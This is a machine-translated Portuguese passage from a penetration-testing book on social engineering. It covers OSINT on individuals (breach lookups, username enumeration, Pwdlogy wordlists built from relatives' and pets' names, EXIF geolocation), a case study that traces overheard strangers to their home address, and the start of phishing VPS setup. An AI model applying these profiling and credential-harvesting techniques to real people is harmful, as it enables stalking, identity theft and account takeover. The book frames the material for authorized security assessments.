OSINT é tanto um modo de pensar quanto uma capacidade técnica. Você não precisa
ser um hacker de elite (no sentido técnico) para ser bom, ótimo ou mesmo elite na
OSINT. O mesmo vale para a engenharia social.

70 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

6
COLETANDOOSINT
SOBRE PESSOAS

Enquanto os capítulos anteriores se


concentraram na coleta de OSINT sobre
empresas, este capítulo se concentra na coleta
de OSINT sobre pessoas usando uma variedade
de ferramentas. Você aprenderá como atingir uma pessoa
procurando informações como gostos, desgostos, conexões
sociais e perguntas de redefinição de senha. Também
continuaremos a usar nosso alvo como alavanca contra
uma empresa, coletando OSINT de fotos que eles tiraram
no local de trabalho, currículos, reclamações ou queixas,
se gabando do trabalho e viagens, para citar apenas alguns .
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Usando ferramentas OSINT para analisar endereços de e-mail


Muitas vezes, quando você inicia um ataque, tudo o que você tem é um endereço de e-mail.
Embora isso possa ser suficiente para ataques de phishing, talvez seja necessário saber mais
sobre seu alvo para realizar outras tarefas. Nesses casos, você pode usar o endereço de e-mail
para coletar mais informações sobre o alvo, como nomes de usuário, fotos, contas de mídia social
e localizações físicas. As ferramentas a seguir permitem pesquisar OSINT sobre uma pessoa usando
nada além de seus endereços de e-mail.

Todas essas informações são passadas pelo que chamo de OSINT Heartbeat. O
OSINT Heartbeat é o ato de expandir e contrair as informações que você coletou - tornando
possível focar no alcatrão em um nível micro e depois expandir para fora, para as pessoas, contas
e associações adjacentes em um nível macro . O aspecto mais vital do OSINT Heartbeat é discernir
quais informações têm um contexto de inteligência e quais não. Esse processo é importante para
evitar a visão de túnel resultante do foco muito próximo de um alvo, fazendo com que você perca
outros pontos de dados importantes.

Descobrir se um usuário foi violado com Have I Been Pwned Os módulos hipb_breach e

hibp_paste na pesquisa Recon-ng Troy Hunt's Have I Been Pwned (HIBP) website (https://
haveibeenpwned.com/) e bancos de dados associados para determinar se um endereço de e-mail
inserido esteve envolvido em alguma violação de dados.

Costumo usar esses módulos para construir um dossiê sobre como os funcionários da minha
a empresa-alvo usa seus e-mails de trabalho. Esta é uma boa indicação da maturidade do
programa de segurança da empresa. Por exemplo, algumas pessoas, como aquelas que
gerenciam contas de mídia social, podem precisar ter uma conta do Facebook ou LinkedIn
associada aos seus e-mails de trabalho. No entanto, o zelador ou o técnico de help desk de nível
associado provavelmente não.
Para usar os módulos HIBP no Recon-ng, basta carregar o módulo, definir o
SOURCE para o endereço de e-mail ou lista que você deseja pesquisar e digite o comando de
execução :

[recon-ng][book] > módulos pesquisa hibp


[*] Procurando módulos instalados por 'hibp'...
reconhecimento

recon/contacts-credentials/hibp_breach
recon/contacts-credentials/hibp_paste
[recon-ng][padrão][hibp_breach] > executar
[*] bill@nostarch.com => Violação encontrada! Visto na violação Adapt que ocorreu em 05/11/2018.
[*] bill@nostarch.com => Violação encontrada! Visto na violação do AndroidForums que ocorreu em 2011-
10-30.
[*] bill@nostarch.com => Violação encontrada! Visto na violação do AntiPublic que ocorreu em 2016-12-
16.

Você também pode pesquisar registros manualmente no site principal do HIBP.


Alguns dos registros que aparecem são privados, o que significa que você pode vê-los

72 Capítulo 6
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

somente se você puder confirmar que é o proprietário do e-mail por meio de um processo
de e-mail automatizado ou confirmar que é o proprietário de todo o domínio (ou é um
administrador de sistema autorizado). Para verificar todos os e-mails em um domínio inteiro,
você deve ser capaz de demonstrar a propriedade, geralmente por meio de um DNS TXT
registro. O hack do site de namoro Ashley Madison é um exemplo disso.

Enumerando contas de mídia social com Sherlock


Sherlock (https:// github.com/ sherlock-project/ sherlock) é uma ferramenta Python 3 escrita
e mantida pelo Projeto Sherlock. Ele vasculha vários sites de mídia social em busca de
nomes de usuários. A lista de sites que o Sherlock verifica é menor do que outras ferramentas,
mas ainda útil.
Para instalar e usar o Sherlock, siga estas etapas:

git clone https://github.com/sherlock-project/sherlock


cd sherlock
pip3 install -r requisitos.txt
python3 sherlock.py OPÇÕES NOME DE USUÁRIO

Sherlock fornecerá resultados semelhantes a WhatsMyName e Recon-ng.


Use a ferramenta de sua preferência, mas sempre use várias ferramentas para aumentar a
qualidade ou a fidelidade dos dados coletados.

Enumerando contas de sites com WhatsMyName


WhatsMyName (https:// github.com/ WebBreacher/ WhatsMyName) é uma ferramenta escrita
por Micah Hoffman que enumera sites onde existe um nome de usuário específico. Essa é
uma maneira eficaz de verificar o possível comportamento e a atividade na web de um
usuário. Você também pode decretar WhatsMyName no Recon-ng como o criador de perfil
módulo. Além disso, Chris Poulter, da OSINT Combine, colaborou com Hoffman para criar
um aplicativo da Web WhatsMyName (https:// whatsmyname
.aplicativo/).

No momento em que este livro foi escrito, WhatsMyName verificava mais de 250
sites. Para restringir o número de sites verificados ou adicionar à lista, basta editar o
web_accounts_list.json com a sintaxe JSON adequada, como no exemplo a seguir:

{
"nome": "YouTube",
"check_uri": "https://www.youtube.com/user/{account}/videos",
"account_existence_code": "200",
"account_existence_string": "nome\" content=",
"
"account_missing_string": Este canal não existe",
"account_missing_code": "404",
"contas_conhecidas": ["teste"],
"categoria" : "vídeo",
"válido": verdadeiro
}

Reunindo OSINT sobre pessoas 73


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Se você quiser verificar um site que não está incluído no arquivo JSON, basta
pesquisar como o site processa as solicitações HTTP, incluindo os parâmetros que usa e os
códigos de resposta HTTP esperados. Você simplesmente copiaria a entrada para o arquivo.

Execute WhatsMyName usando o seguinte comando:

root@kali:/ opt/WhatsMyName# python3 web_accounts_list_checker.py -u nostarchpress


- 190 sites encontrados no arquivo.
- Procurando https://500px.com/nostarchpress
- Procurando https://9gag.com/u/nostarchpress
--recorte--
- Procurando https://api.github.com/users/nostarchpress
[+] Usuário encontrado em https://api.github.com/users/nostarchpress
- Procurando https://gitlab.com/nostarchpress
[+] Usuário encontrado em https://gitlab.com/nostarchpress
- Procurando https://www.goodreads.com/user/show/nostarchpress
- Procurando https://www.gpsies.com/mapUser.do?username=nostarchpress

Conforme você executa o script, um [+] deve aparecer ao lado de cada site no qual
WhatsMyName detecta uma conta.

Analisando senhas com Pwdlogy


Pwdlogy (pronuncia -se Password-ology) é uma ferramenta escrita por tch1001 que permite aos
hackers criar uma lista de palavras para um determinado usuário com base nos termos que eles
usam com frequência e nos tópicos que são significativos para eles. Você fará algumas análises
manuais por conta própria e preencherá uma lista. A ferramenta altera essa lista adicionando
caracteres ao que você inseriu e alternando os caracteres para criar uma lista de palavras muito
mais longa. Os invasores podem usar essa lista de palavras para ataques de adivinhação de
senha e atividades relacionadas.
Embora superficialmente isso possa não parecer particularmente útil para um grupo social
engenheiro, com um pouco de engenhosidade, pode ser. Por exemplo, imagine que você
está fazendo phishing para um determinado usuário e tem aprovação para usar um pré-texto
de redefinição de senha. Em outras palavras, você pode consultar o usuário para obter
informações, possivelmente entregando a ele uma pesquisa ou enquanto conversa fiada.
Usando essas informações, você pode preencher uma lista no Pwdlogy e usá-la para testes. Se
você tiver menos de 10 usuários para phishing, poderá descobrir como eles criam novas senhas
usando esse método. Se você tiver centenas ou milhares, isso pode não funcionar tão bem.

Para instalar e usar o Pwdlogy, digite os seguintes comandos:

git clone https://github.com/tch1001/pwdlogy


cd pwdlogy
python3 pwdlogy

74 Capítulo 6
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Esses comandos irão clonar o código do GitHub para o seu sistema e, em seguida,
movê-lo para o diretório e executá-lo com o Python. Para criar sua lista para Pwdlogy, use
OSINT para coletar as seguintes informações sobre cada usuário:

•Nomes do cônjuge, irmãos, pais e filhos


• Os nomes dos animais de estimação

•Palavras e números favoritos

•Aniversários

Como defensor, você pode restringir os usuários de usar qualquer variante de itens
desta lista como senhas e exigir que eles escolham algo diferente. Isso permitiria que você
reduzisse a probabilidade de alguém adivinhar as senhas do usuário, mas não faria nada
para reutilização de senha ou preenchimento de senha como resultado de violações de
dados fora de sua organização.
Como alternativa, você pode usar a lista em uma conversa ou phishing para obter
a atenção de um alvo. Por exemplo, pergunte o nome do cônjuge ou filho da vítima.
Um testador de penetração pode usar essas informações para pulverização de senha (um
ataque no qual você tenta as mesmas senhas com vários nomes de usuário, em oposição
à quebra de senha tradicional, que envolve tentar várias senhas possíveis para um único
usuário) ou outros meios técnicos para obter
acesso a uma conta.

Analisando as imagens de um alvo


Algumas das buscas que mostrei ao longo deste capítulo revelaram imagens, e a análise
mais aprofundada dessas imagens pode nos fornecer informações importantes sobre um
alvo. Eu procuro quatro coisas ao olhar para imagens para análise OSINT.

Primeiro, olho para o primeiro plano, ou o que a imagem realmente pretende nos
dizer, seja sobre uma pessoa, uma cena ou qualquer outra coisa. Em seguida, eu olho
para o fundo. Por exemplo, existe um papel de parede de hotel cafona que possa vincular
esta imagem a um local ou rede específica? Eu então olho para o que está faltando na
foto. O que deveria estar aqui? Eu penso nisso como um daqueles desafios de comparação
de duas imagens. Algo foi photoshopado? Alguma coisa foi movida para fora do quadro?

Por fim, examino os dados EXIF (Exchangeable Image File) . O EXIF para mat é um
padrão para imagens estáticas que define as imagens, sons e outras marcas produzidas
por câmeras digitais, smartphones e outros sistemas. Como todas as câmeras e smartphones
têm a capacidade de produzir esses dados, podemos coletar vários níveis de OSINT sobre
as fotos e as pessoas que as tiraram.

Nesta seção, abordarei algumas maneiras de analisar dados EXIF.

Reunindo OSINT sobre pessoas 75


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Analisando dados EXIF manualmente

Vamos analisar os dados EXIF para a imagem mostrada na Figura 6-1.

Figura 6-1: Imagem enviada a mim por um aluno para análise

Para analisar os dados EXIF, clique com o botão direito na imagem e selecione Obter informações
em um Mac. No Windows e no Linux, clique com o botão direito do mouse na imagem e selecione Propriedades.
Isso deve abrir uma janela com dados EXIF visíveis (Figura 6-2).
Aqui, vemos o tipo de imagem e quando a baixei. Obtemos as dimensões, a
marca e o modelo da câmera que a tirou - neste caso, um iPhone X. Na parte inferior,
vemos a latitude e a longitude do local onde a imagem foi tirada, informações que os
smartphones normalmente incluem .

Analisando imagens usando o ExifTool

ExifTool é uma ferramenta que pode analisar automaticamente os dados EXIF e fornecer
muito mais informações do que uma análise manual. Algumas dessas informações podem
ser particularmente úteis se você estiver criando o perfil de uma empresa no local,
aprendendo sobre a cultura da empresa ou direcionando um dispositivo móvel para exploração.
Outro aplicativo útil é se você estiver competindo em um dos CTFs do Search Party da
Trace Labs (https:// www.tracelabs.org/ getinvolved/ ctf/).

76 Capítulo 6
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 6-2: Obtendo informações EXIF em um MacBook

Para instalar o ExifTool no Kali, execute o seguinte:

apt-get install exiftool

Para analisar um arquivo, execute isto:

nome do arquivo exiftool

Alternativamente, você pode usar o Image Metadata Viewer de Jeffrey (http:// exif
.regex.info/ exif.cgi), uma versão online do ExifTool. Isso é útil se você estiver tentando evitar o download de um
arquivo ou estiver trabalhando explicitamente apenas com imagens online. Você pode fornecer à ferramenta um
arquivo ou um link e ela publicará os resultados
na tela.

Reunindo OSINT sobre pessoas 77


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Vamos começar a análise observando os tempos MACB. MACB é um termo


forense para os momentos em que um arquivo foi modificado, acessado, alterado e “nascido”
(criada). Nesse caso, mostra quando baixei este arquivo do meu e-mail:

root@kali:~/Documents# exiftool IMG_4438.JPG


Número da versão ExifTool: 11.65
Data/hora da modificação do arquivo : 2019:09:14 00:41:45-04:00

Em seguida, após o tipo de arquivo, você verá a marca e o modelo da câmera, bem
como a orientação do dispositivo ao tirar a foto e que o flash não foi usado:

Tipo de arquivo : JPEG


Versão JFIF : 1,01

Exif Byte Order : Big-endian (Motorola, MM)


Faço : Maçã
Nome do modelo da : iPhone X

câmera --snip--

O campo do software também é extremamente importante, porque neste caso,


ele nos informa a versão do Apple iOS que o telefone que tirou a foto está executando:

Programas : 12.3.1
Criar Data : 2019:08:03 11:39:02
--recorte--
Tipo de cena : Fotografado diretamente
renderização personalizada : Retrato HDR

Em seguida, você vê a marca e o modelo da lente. Isso deve ser semelhante à


marca e modelo da câmera. Nesse caso, você pode ver que a câmera dupla traseira do
iPhone X foi usada e que estava nos hemisférios Norte e Leste (basicamente, Europa
ou partes da Ásia):

Informações da Lente : 4-6mm f/1.8-2.4


Marca da Lente : Maçã
Modelo de Lente : Câmera traseira dupla do iPhone X 6mm f/2.4
Referência de latitude do GPS : Norte

Referência de Longitude GPS : Leste


Referência de Altitude do GPS : Acima do nível do mar

Referência de velocidade do GPS :km/h


Velocidade do GPS : 0,2333080322

A direção da imagem é a direção (entre 0,000 e 359,99º) da


fotógrafo estava apontando em:

Referência de direção de imagem GPS : Norte verdadeiro

Direção da imagem do : 221.1058655


GPS --snip--
Tempo de Criação Digital : 11:39:02
Data de criação digital : 2019:08:03

78 Capítulo 6
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Nas peças finais da análise, você pode ver quanto tempo o telefone
fora do carregador, a elevação e a latitude e longitude:

Tamanho da : 4032x3024
imagem : 12.2
Megapixels Fator de escala Para 35 mm Equivalente: 8,7
Data de criação : 1/163
da velocidade do obturador: 2019:08:03 11:39:02.291
Data/Hora Original : 2019:08:03 11:39:02.291
GPS Altitude : 16,6 m acima do nível do mar
GPS Latitude : 51 graus 22' 4,87" N
GPS Longitude : 0 graus 12' 37,68" E
Data/Hora de criação : 2019:08:03 11:39:02
Data/hora da criação digital : 2019:08:03 11:39:02

Isso permite que você confirme o local onde a foto foi tirada usando
um aplicativo de mapeamento. Por exemplo, se for uma foto de um
computador Windows 7 desbloqueado em uma mesa, você pode usar as
coordenadas para descobrir o endereço da instalação onde a foto foi tirada,
bem como uma possível empresa cujo escritório a foto foi tirada .
Vamos tentar isso agora. Pegue a latitude e a longitude e solte-as no
Google Maps, gerando a imagem mostrada na Figura 6-3.

Figura 6-3: Entrada do Google Maps para a latitude e longitude retiradas dos dados EXIF

Esta cena confirma que a foto foi tirada perto do Plow Inn ao longo
do rio Darent em Eynsford, Inglaterra.

Reunindo OSINT sobre pessoas 79


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Analisando mídias sociais sem ferramentas


Nesta seção, abordarei os aspectos mais úteis de plataformas de mídia social comuns
para coleta OSINT. Em geral, você deve se concentrar em hábitos, cultura e conexões.
Os hábitos incluem a frequência com que os usuários publicam, os termos que usam e
comportamentos semelhantes. Cultura inclui as normas que a pessoa ou organização
segue. Conexões, ou outros usuários na rede de um alvo, são uma fera complicada. Não
defendo a conexão com contas pessoais como parte dos compromissos, porque essas
contas não pertencem à empresa que está pagando.

LinkedIn

No LinkedIn, verifique se o alvo é um LinkedIn Open Networker (LION),


ou alguém que aceitará todas as solicitações de conexão. Além disso, enumere seus
colegas. Veja suas informações, que provavelmente incluirão algumas realizações. Você
também pode encontrar endereços de e-mail ou links para seus outros sites de mídia social.

Instagram
No Instagram, você pode ver com quem um alvo interage mais. Você também pode confirmar
a aparência de alguém além de suas fotos na cabeça e criar um dossiê que o ajudará a se
comportar como as pessoas com quem ela passa o tempo.
As pessoas não gostam de admitir, mas geralmente se associam a um tipo.

Facebook

O Facebook pode permitir que você aprenda mais sobre uma pessoa do que você jamais
desejou ou, inversamente, pode ser como tentar tirar sangue de um nabo. Algumas pessoas
são extremamente conscientes da privacidade, e o Facebook oferece os controles de
privacidade mais granulares, com as configurações típicas Somente eu, Amigos específicos,
Somente amigos, Amigos de amigos e Público.
Se uma pessoa compartilhar publicamente no Facebook, você poderá aprender sobre
relacionamentos, viagens e afiliações políticas e religiosas. Mesmo se alguém tiver sua
privacidade definida como Amigos ou mais rígida, você ainda poderá ver tudo o que ela
postar ou comentar publicamente (como as notícias locais), a menos que ela tenha bloqueado você.

Twitter

Em termos de controles de privacidade, o Twitter tem apenas três opções: protegido/


bloqueado, bloqueado e padrão. Protegido/ bloqueado permite que o usuário aprove quem
pode ver seus tweets. Isso é diferente de bloqueado; se um usuário bloquear outro usuário,
mas não tiver a configuração protegida/bloqueada, o usuário bloqueado ainda poderá ver os
tweets do outro usuário de outra conta. Se protegidos, eles terão que enviar um pedido de
aprovação. A configuração padrão mostra tudo para todos, a menos que estejam bloqueados
ou silenciados. O Twitter é especialmente útil para coletar informações sobre figuras públicas,
tecnólogos, adotantes iniciais de tecnologias emergentes, especialistas políticos e fãs de
esportes.

80 Capítulo 6
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Estudo de caso: o jantar que deu todo o ouro embora


Algum tempo atrás, eu estava jantando em um restaurante local. Eu estava
sentado perto de duas mulheres que, com base na conversa, pareciam velhas
amigas conversando. A primeira mulher - vamos chamá-la de Wanda - fazia mais
perguntas, enquanto a outra - vamos chamá-la de Tammy - compartilhava
informações sem discrição.
Wanda perguntou a Tammy onde ela trabalhava, e Tammy respondeu com
o nome da empresa, bem como como surgiu o nome (era uma variação do nome
do proprietário). Ela disse que trabalhava lá há cinco anos e depois explicou o
que fazia pela empresa, revelando que se tratava de uma padaria. Ela passou a
desabafar sobre suas frustrações e falar sobre seus triunfos.
Wanda perguntou a Tammy se ela já era casada. Tammy falou sobre seu
ex-namorado, Steven, e a guarda compartilhada de Leif. Ela também mencionou
a mãe de Steven, que morava em Tulsa, e disse a Wanda que a mãe de Chris
tinha um pouco de medo de Leif. Eu me perguntei: que tipo de avó tinha medo do
neto? Espere, pensei. Talvez Leif não fosse um menino humano. Com certeza,
Wanda perguntou se Tammy queria filhos de verdade e qual é a raça de Leif.
Tammy respondeu com um comentário sobre sua imagem corporal e alguns
problemas de saúde, e então informou a amiga que Leif era um vira-lata de um ano.
Finalmente, Tammy falou sobre seu novo namorado, Dick, e sua carreira
como comediante. Wanda perguntou como Dick se sentia sobre compartilhar a
custódia de Leif, e Tammy respondeu com uma história sobre Dick e Steven
fazendo algumas coisas juntos com Leif e indo a shows juntos.
Isso pode parecer inócuo o suficiente, mas usando esta conversa, aqui está
o que descobri e como:

Nome do dono da padaria

Pesquisei o nome da padaria, depois olhei os comentários com respostas e


avaliações no Facebook.

O nome da filha e funcionária do dono da padaria

Examinei as fotos da padaria e encontrei os status de relações públicas


do proprietário no Facebook.

O nome do genro do proprietário

Novamente, por meio dos status de relacionamento público do proprietário.

nome da Tammy

Fui criativo e comecei a ler as resenhas da padaria no Facebook.


Sabendo pela conversa que Tammy começou a trabalhar na padaria há
cinco anos, procurei avaliações nesse período. Encontrei uma avaliação
cinco estrelas sem texto ou depoimento e reconheci a pessoa que postou
pela foto do perfil.

Reunindo OSINT sobre pessoas 81


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A identidade de Dick, o namorado

Verifiquei as fotos e o status de relacionamento de Tammy no Facebook e confirmei


a descoberta usando o status de relacionamento e a profissão listados em sua página
no Facebook.

A identidade de Steven, o ex-namorado

Tammy tinha três amigos no Facebook chamados Steven, mas apenas um deles
tinha uma mãe morando em Tulsa. Confirmei essa descoberta olhando as fotos e
cruzando as referências de Leif (um cachorro muito feio, por sinal).

Endereço residencial de Tammy e Dick e fotos da casa

Juntamente com as pistas em suas páginas do Facebook, verifiquei os registros de


propriedades do Melissa Property Data Explorer e o Google Street View.

Nas mãos erradas, essas informações podem servir de base para roubo de
identidade, invasão de domicílio ou coisa pior. Como isso poderia ter sido mitigado ou
evitado?

•Eu poderia não ter escutado. Mas uma vez que você entra no OSINT e na engenharia
social, torna-se meio difícil de desligar.
•Tammy e Wanda poderiam ter sido menos descritivas ou faladas mais calmamente.
Tammy, Dick, Steven e Wanda poderiam ter usado configurações de compartilhamento
e controles de privacidade melhores em suas mídias sociais. Todas as partes poderiam
ter sido mais vagas sobre o que disseram ou postaram ou usaram a desinformação para
despistar os engenheiros sociais.

Conclusão
O objetivo de coletar pessoas OSINT é entender melhor as ameaças que os funcionários
apresentam ao seu empregador e potencialmente construir um relacionamento com eles em
compromissos de engenharia social. Existem várias fontes de pessoas OSINT, incluindo
fotos, amigos, mídia social e coisas rotineiras, como endereços de e-mail, nomes de usuário
e endereços IP. Para usar essas ferramentas de forma ética, trate-as como um meio de
aprender mais sobre a empresa, não sobre a pessoa individualmente. Lembre-se: fique
longe de interagir com contas pessoais.

82 Capítulo 6
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

7
PHISHING

Neste capítulo, você criará uma campanha de


phishing. Vamos percorrer a infra-estrutura
necessária se você deseja criar um
ataque manualmente e, em seguida, discuta soluções
automatizadas, recursos técnicos como rastreamento de pixels
que você pode adicionar ao seu ataque e os fatores que você
deve considerar antes da implantação para tornar seu envolvimento
bem-sucedido. Este capítulo deve ajudar qualquer engenheiro
social a começar com ataques baseados em e-mail. Também
pode ser uma atualização para administradores de sistema ou um
guia informativo para alguém vindo de um Centro de Operações
de Segurança ou função de conformidade.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Configurando um ataque de phishing

A arquitetura adequada a ser usada para um ataque de phishing varia. As ferramentas


necessárias dependem do escopo do trabalho, SOW, contrato e desejos do cliente. Por
exemplo, se o cliente quiser que você meça quantos funcionários clicam em um link
superficial em um e-mail, tudo o que você precisa é de um servidor web simples que capture
solicitações HTTP GET e exiba uma página 404 ou de agradecimento ao usuário. As
respostas serão armazenadas em um log do Apache.
A partir daí, as coisas ficam mais complicadas. O cliente quer que você falsifique ou
se invada? Você pode falsificar um domínio legítimo, enviando um e-mail e manipulando
as informações exibidas ao destinatário para fazer parecer que veio de uma fonte legítima,
mas a falsificação é fácil de detectar.
O agachamento, uma técnica semelhante, é menos arriscado e é menos provável
que você seja pego. Envolve o registro de um domínio semelhante ao do destinatário,
como .co.uk , para o domínio .com de uma empresa . Isso faz com que seus e-mails
pareçam vir do domínio legítimo - pelo menos para aqueles que não olham muito de perto.
Em seguida, seus clientes desejam que você colete credenciais de usuário ou outras
informações confidenciais, como perguntas de redefinição de senha? Nesse caso, seu e-
mail terá que vincular a uma página da Web que solicite essas informações de maneira
convincente. Ou seus clientes querem que você envie documentos maliciosos? Nesse caso,
você precisará criar esses documentos e encontrar um local para hospedá-los sem ser
sinalizado por ferramentas de segurança.
Eles querem que você use uma solução automatizada de phishing, como King
Phisher ou Gophish? Se você fizer phishing regularmente, provavelmente já terá uma
configuração automatizada, mas mesmo que tenha, pode ser necessário fazer algumas
alterações ou inserir seus próprios designs de e-mail. Os engenheiros sociais mais bem-
sucedidos entendem tanto os aspectos técnicos da arquitetura quanto o elemento humano
que torna seu ataque bem-sucedido.
Nesta seção, você configurará um sofisticado ataque de phishing projetado para
enganar os usuários e evitar a detecção. Ao configurar seu próprio VPS, servidor de e-
mail e página de destino, você poderá enviar e-mails que parecem vir de um endereço de
e-mail legítimo da empresa. Você incluirá um link no corpo do e-mail que direcionará os
usuários a uma página da Web, solicitando que insiram suas credenciais.

Configurando uma instância VPS segura para páginas de destino de phishing

Não importa o que você faça em seu engajamento, você quase sempre precisará de uma
instância VPS. Por meio de um VPS, você poderá hospedar uma página de destino e
executar um servidor de e-mail, se desejar, tudo sem vincular seu ataque ao seu endereço IP.
Nesta seção, mostrarei como configurar um VPS seguro com a Digital Ocean, uma
empresa de infraestrutura em nuvem que permite usar seus serviços para pesquisa de
segurança. Droplets, que são instâncias VPS da DigitalOcean, começam com preços
mensais baixos e vêm com backups, instantâneos, volumes de armazenamento, DNS,
CDN, balanceamento de carga, aplicativos de um clique e paredes de incêndio de rede.
Você pode escolher entre uma variedade de sistemas operacionais Linux e BSD,

84 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

contêineres e aplicativos pré-carregados como Node.js, LAMP, WordPress, GitLab e Docker.

Observe que a DigitalOcean possui centros de dados em Nova York, São Francisco, Toronto,
Bangalore, Amsterdã, Frankfurt, Londres e Cingapura. Esses locais podem ser importantes, porque algumas
regiões filtram determinado conteúdo e algumas empresas filtram o tráfego com base no país. Além disso, se
você estiver lidando com cidadãos europeus e seus dados, procure aconselhamento jurídico sobre o GDPR
da UE.

Idealmente, você deve configurar seu VPS com seu domínio e servidor web pelo menos duas
semanas antes da contratação. Isso ocorre porque algumas plataformas de segurança de servidor de correio
rejeitam todas as mensagens de domínios com menos de duas semanas.

Criando uma Conta DigitalOcean e Droplet

Para configurar um droplet da DigitalOcean, você precisa criar uma conta. Navegue até https://
www.digitalocean.com/ e siga as instruções de inscrição da página. Eu recomendo ativar a autenticação de
dois fatores para sua conta para impedir que alguém obtenha acesso caso comprometa sua senha.

Uma vez logado, selecione CriarÿDroplet. Selecione o sistema operacional desejado. Eu


recomendo usar Kali ou Debian Linux. Em seguida, dimensione a gota para determinar o número de
processadores e a quantidade de RAM que deve usar. Quanto mais conexões a gota tiver, mais poder de
processamento ela precisará. Para um engajamento curto que visa, digamos, 150 usuários, o droplet padrão
deve funcionar sem problemas. Em seguida, você pode optar por usar IPv6, rede privada, backups ou sua
própria chave RSA. Você também pode adicionar um nome de host ou ativar vários droplets.

Você deve ver o endereço IP do droplet assim que ele for criado. DigitalOcean vai
envie por e-mail a credencial raiz inicial do host, bem como o endereço IP. Se você fizer upload de um par
de chaves SSH, conforme descrito na próxima seção, poderá usar essas informações para fazer login. Caso
contrário, a DigitalOcean enviará por e-mail uma senha root temporária, mas você será solicitado a alterá-la
após seu primeiro login .

Criando um par de chaves SSH para proteger o VPS

Ter um método de autenticação forte é importante, porque este servidor está voltado para a Internet.
Quando usei o DigitalOcean para executar honeypots – sistemas propositalmente vulneráveis criados com
o objetivo de serem atacados, permitindo que os pesquisadores estudassem as técnicas e o comportamento
dos invasores ou alertando os administradores sobre o comprometimento do sistema – os hosts foram
martelados por scanners e possíveis exploradores .

Para evitar que invasores forcem sua senha, crie um par de chaves SSH. Também conhecido como
par de chaves RSA, um par de chaves SSH é uma chave RSA pública e privada usada para efetuar login.
Você copiará a chave privada (id_rsa por padrão) para seu sistema remoto e copiará a chave pública
(id_rsa.pub por padrão) para o arquivo author_keys para permitir que o login ocorra. As chaves SSH permitem
desativar a autenticação por senha.

Phishing 85
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Primeiro, execute o seguinte comando em seu terminal:

ssh-keygen -t rsa
Digite o arquivo no qual deseja salvar a chave (/root/.ssh/
id_rsa): Digite a senha (vazio para nenhuma senha): Digite
a mesma senha novamente: Sua identificação foi salva em /
root/.ssh/id_rsa.
Sua chave pública foi salva em /root/.ssh/id_rsa.pub.
cat ./.ssh/id_rsa.pub > ./.ssh/authorized_keys

O comando ssh-keygen cria o par de chaves. Por padrão, as chaves aparecem no


diretório /root/.ssh no VPS. Você pode optar por gravar as chaves em um local específico passando
-C /path/ para o comando ssh-keygen , seguido pelo caminho do arquivo desejado. Você também
pode inserir uma frase secreta com sua chave SSH para criar um segundo fator de autenticação.
Você será solicitado a inserir uma senha ao criar o par de chaves. Se você não quiser usar um,
pressione ENTER para continuar.

Você precisará acessar o par de chaves VPS no sistema que usará para controlar o VPS.
Para fazer isso, use o Secure Copy Protocol (SCP) ou um cliente SCP. Se você estiver em um
host Windows, poderá usar o WinSCP, que é um emulador de terminal que permite que os usuários
do Windows se conectem diretamente a hosts Linux por FTP, SSH e Telnet. Se você estiver em um
host Mac ou Linux, poderá usar um cliente SCP como o terminal nativo, iTerm2, Cyberduck ou
Termius. Isso permitirá que você mova as chaves RSA de e para o droplet. Você também pode usar
o cliente SCP posteriormente para mover artefatos, como arquivos, de e para o droplet.

Para copiar os arquivos usando WinSCP, faça login no VPS usando as credenciais
(senha ou par de chaves RSA) que você criou e arraste e solte os arquivos em qualquer
direção de dentro da GUI. Você precisará garantir que possui as permissões corretas para o arquivo.
Execute o comando chmod 600 nome do arquivo da chave privada para garantir que você tenha
as permissões adequadas definidas.

Configurando o acesso remoto do Windows ao VPS

Depois de mover a chave RSA para sua estação de trabalho, instale um cliente que lhe dará
acesso remoto ao seu VPS. Você precisa de acesso remoto para configurar a página inicial e
configurar quaisquer serviços adicionais, como servidores de correio, no VPS.

No Windows, você pode obter acesso remoto com a ferramenta PuTTY.


Baixe o PuTTYgen no site do PuTTY, https:// www.putty.org/.
Em seguida, crie um arquivo PuTTY Private Key (PPK) para usar em PuTTY e WinSCP importando
sua chave privada RSA para o software. Na janela PuTTY Key Generator, clique em Generate
(Figura 7-1).
Importe a chave id_rsa do host para o PuTTYgen. Você deve ver a chave gerada no formato
PPK, conforme mostrado na Figura 7-2.

86 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 7-1: PuTTYgen

Figura 7-2: Criando um PPK

Em seguida, carregue a chave na sessão PuTTY. Para fazer isso, adicione seu
nome de usuário ou o endereço IP do seu droplet nos campos Host Name (ou IP
Address) (Figura 7-3).

Phishing 87
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 7-3: Configuração do PuTTY

Em seguida, selecione ConnectionÿSSHÿAuth no painel esquerdo (Figura 7-4).


Digite o caminho do arquivo para o arquivo PPK no arquivo de chave privada para autenticação
campo. Por fim, clique em sessão na parte superior do painel esquerdo, dê um nome à
instância e salve-a. Para se conectar ao host, clique em Abrir.

Figura 7-4: Configurando o PuTTY para usar o PPK

88 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Agora que você configurou o PuTTY para usar chaves SSH, insira sua frase secreta,
se você definir uma, para fazer login no VPS. Atualize todos os pacotes e execute todas as
atualizações de segurança pendentes para se proteger contra ataques na Internet pública.

